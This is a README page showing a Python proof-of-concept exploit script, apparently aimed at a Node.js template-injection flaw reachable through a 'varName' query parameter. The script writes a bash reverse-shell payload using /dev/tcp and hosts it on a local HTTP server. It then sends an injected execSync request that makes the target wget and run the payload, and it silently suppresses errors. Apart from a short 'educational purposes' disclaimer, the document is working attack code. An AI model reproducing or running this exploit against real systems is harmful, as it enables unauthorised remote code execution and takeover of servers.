README.md
Rendering markdown...
#!/usr/bin/env python3
# DISCLAIMER:
# This script is a Proof of Concept (PoC) for educational purposes only.
# Do not use it for illegal activities. The author is not responsible for any misuse.
import argparse
import os
import socket
import threading
import time
from http.server import HTTPServer, SimpleHTTPRequestHandler
import urllib.parse
GREEN = "\033[92m"
RED = "\033[91m"
RESET = "\033[0m"
def create_payload(lhost, lport):
payload = f"""#!/bin/bash
bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
"""
with open("payload.sh", "w") as f:
f.write(payload)
os.chmod("payload.sh", 0o755)
print(f"{GREEN}[+] Payload created at payload.sh{RESET}")
def start_http_server():
server_address = ("", 80)
httpd = HTTPServer(server_address, SimpleHTTPRequestHandler)
thread = threading.Thread(target=httpd.serve_forever, daemon=True)
thread.start()
print(f"{GREEN}[*] Hosting HTTP server on port 80{RESET}")
return httpd
def trigger_remote(rhost, rport, lhost, lport):
print(f"{GREEN}[*] Triggering remote execution{RESET}")
cmd = f"wget http://{lhost}/payload.sh -O /tmp/payload.sh && bash /tmp/payload.sh"
encoded_cmd = urllib.parse.quote(cmd)
url = f"http://{rhost}:{rport}/?useWith=1&varName=%7B%20a%3A%20b%20%3D%20global.process.mainModule.require%28%27child_process%27%29.execSync%28%27{encoded_cmd}%27%29%20%7D"
try:
import requests
requests.get(url, timeout=5)
except Exception:
# suppress all exceptions silently to keep output clean
pass
def main():
parser = argparse.ArgumentParser(description="PoC exploit script")
parser.add_argument("-rhost", required=True, help="Target IP")
parser.add_argument("-rport", type=int, required=True, help="Target port")
parser.add_argument("-lhost", required=True, help="Local IP (HTTP server and listener)")
parser.add_argument("-lport", type=int, required=True, help="Local port (listener for reverse shell)")
args = parser.parse_args()
create_payload(args.lhost, args.lport)
http_server = start_http_server()
trigger_remote(args.rhost, args.rport, args.lhost, args.lport)
# timer for wget to request payload
time.sleep(3)
print(f"{GREEN}[*] Shutting down HTTP server on port 80{RESET}")
http_server.shutdown()
print(f"{RED}[!] Check your listener!{RESET}")
if __name__ == "__main__":
main()